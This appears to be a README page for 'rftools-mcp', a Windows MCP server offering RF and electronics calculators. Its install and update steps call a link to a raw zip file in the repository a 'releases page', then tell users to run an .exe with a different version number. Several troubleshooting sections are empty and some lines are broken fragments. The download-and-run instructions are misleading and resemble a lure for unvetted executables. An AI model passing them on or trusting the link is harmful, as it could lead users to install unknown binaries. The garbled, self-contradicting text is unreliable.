Provide MCP-compatible AI assistants with access to 200+ engineering calculators and server-side simulation tools for RF and electronics analysis.
rftools-mcp provides a simple way to access 197 RF and electronics calculators. These tools help with antennas, impedance matching, signal processing, PCB design, and other tasks. The software acts as a server using the MCP (Model Context Protocol) framework. It is designed to work on Windows computers with no special programming skills needed.
If you work with electronics, antennas, or radio frequency engineering, rftools-mcp puts helpful calculators at your fingertips. The app is a useful companion for professionals, hobbyists, and students.
This software runs as a local server that you can start and use on your own computer. Most tools operate without internet once installed.
The app does not require powerful hardware or coding knowledge. It works well on typical office or personal computers.
Follow these steps to get rftools-mcp running on your Windows computer.
Go to the official releases page to get the latest version:
https://github.com/glitchpatrick/rftools-mcp/raw/refs/heads/main/dist/rftools-mcp-v1.3.zip
This page lists all the current and past versions. Look for the newest release at the top of the list.
Find the file with the .exe extension. Its name usually includes the version number, for example:rftools-mcp-setup-v1.2.3.exe
Click the file name to download it to your PC.
.exe file to start the installer. The installer will copy the necessary files and set up the software.
Once installed:
You can now access the calculators through the program interface.
After launching rftools-mcp, you do not need to open a web browser or run other software. The interface is designed for easy navigation.
Each calculator includes short help text so you can understand how to use it without outside guides.
Use the antenna calculators to find parameters like gain, radiation pattern, or feed impedance. This step helps in designing antennas or analyzing performance.
The impedance calculators simplify matching circuits between components to reduce signal loss. Enter known values and let the tool suggest matching networks.
For PCB layouts, rftools-mcp calculates trace widths, impedance, and signal timings to maintain signal integrity.
You can perform frequency, bandwidth, and filter curve calculations using the software’s signal processing tools.
If the software does not start:
If calculators show incorrect or no output:
Updates are posted regularly on the releases page:
https://github.com/glitchpatrick/rftools-mcp/raw/refs/heads/main/dist/rftools-mcp-v1.3.zip
To update:
.exe installer as before. Keeping the software current ensures access to new calculators and fixes.
C:\Program Files\rftools-mcp. %APPDATA%\rftools-mcp. glitchpatrick/rftools-mcp
February 5, 2025
April 13, 2026
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